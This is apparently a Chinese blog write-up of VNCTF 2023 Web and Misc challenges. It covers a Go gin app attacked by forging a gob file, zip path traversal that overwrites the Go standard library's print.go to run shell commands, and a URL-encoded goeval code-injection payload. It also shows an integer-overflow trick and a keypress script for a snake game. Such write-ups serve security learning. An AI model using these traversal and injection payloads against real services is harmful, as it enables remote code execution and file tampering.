VNCTF 2023-Web&Misc 部分题解

Web

BabyGo

  各个路由:

    r.GET("/", func(c *gin.Context) {
        userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
        session := sessions.Default(c)
        session.Set("shallow", userDir)
        session.Save()
        fileutil.CreateDir(userDir)
        gobFile, _ := os.Create(userDir + "user.gob")
        user := User{Name: "ctfer", Path: userDir, Power: "low"}
        encoder := gob.NewEncoder(gobFile)
        encoder.Encode(user)
        if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
            c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
            return
        }
        c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
    })
	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

  /路由用来创建用户文件夹,/upload上传文件,不能传.go和.gob,但可传.zip。/unzip解压uploads下所有的zip,参数path表示解压到何处,可以做目录穿越。因此我们可以把go和gob压缩,再解压到任意位置。.gob是序列化文件,/backdoor读取该文件,判断power是不是admin,是就执行Eval。

  先伪造.gob文件,压缩成zip,上传,然后访问/unzip?path=../就可获取admin.

func main() {
	user := User{Name: "ctfer", Path:"/tmp/cf138594b7b49e21d05f090cf49eaa3e/", Power: "admin"}
	gobFile, _ := os.Create("user.gob")
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)
}

  

  接下来的解法有两种。

解法一:文件覆盖

  看到Eval里的代码第一反应是Eval的代码不可控(当时不知道pkg参数的妙用,解法二讲),就想到能不能把Println改了,加点私货。查到这个函数的源文件在/usr/local/go/src/fmt/print.go。在docker拿源代码,版本号要和题目一致(go.mod可以看),不然运行会报错,当时卡这里挺久。

  docker pull golang:1.19

  pull下来之后把print.go读出来,开始魔改。

func Println(a ...any) (n int, err error) {
	// return Fprintln(os.Stdout,a...)原来的
	return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}

  打包,上传,访问/unzip?path=../../../../../../../../../../usr/local/go/src/fmt/,此时再访问/backdoor,可以看到成功魔改。

  

  开始rce:

func Println(a ...any) (n int, err error) {
    //注意要先导包 "os/exec"
    cmd := exec.Command("ls", "-l", "/")
    out, err := cmd.CombinedOutput()
	if err != nil {
    }
    Print(string(out))//不调用Println,防止递归
    return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}

 

  结果: 

 

 

func Println(a ...any) (n int, err error) {
    cmd := exec.Command("cat", "/ffflllaaaggg")
    out, err := cmd.CombinedOutput()
    if err != nil {
    }
    Print(string(out))
    return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}

   得到flag:

 

 

解法二:goeval代码注入

  原理:goeval实际上是代码拼接,形成新文件,再运行,pkg参数可控则有代码注入。

  参考:http://www.gem-love.com/2022/07/25/goeval%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

  payload:

pkg="os/exec"%0a fmt"%0a)%0a%0afunc%09init(){%0acmd:=exec.Command("cat","/ffflllaaaggg")%0aout,_:=cmd.CombinedOutput()%0afmt.Println(string(out))%0a}%0a%0a%0avar(a="1

   

电子木鱼

  考点:整数溢出

  关键代码:

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

  cost是i32,最大值是2147483647,超过这部分会给截断。传name=Cost,cost就是quantity*10。quantity传大于2147483647的数会报错。

  2147483647:    0111 1111 1111 1111 1111 1111 1111 1111

  2147483647*10:   0100 1111 1111 1111 1111 1111 1111 1111 0110,取 1111 1111 1111 1111 1111 1111 1111 0110,就是-10

  quantity再改小些,负得就更大。传name=Cost&quantity=2047483647,得到flag。

 

Misc

Snake on web

  我用wasm2c,得到C文件,再gcc -c game.c -o game.o,把game.o拖进IDA,还是不会。最后还是用其他解法。

  解法一:改js代码,给蛇减速,然后吃到100分。

  

 

 

 

  解法二:用按键脚本

from pynput import keyboard
import time
control = keyboard.Controller()
while True:
    #先把蛇头朝向右边,起点随便
    time.sleep(2)
    control.press('s')
    control.release('s')
    time.sleep(0.05)
    control.press('a')
    control.release('a')

    time.sleep(2)
    control.press('s')
    control.release('s')
    time.sleep(0.05)
    control.press('d')
    control.release('d')

验证码

  把验证码提取出来,放到:https://tuppers-formula.ovh/

1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

 

 

posted @ 2023-02-19 21:01  un1n0wn  阅读(712)  评论(0)    收藏  举报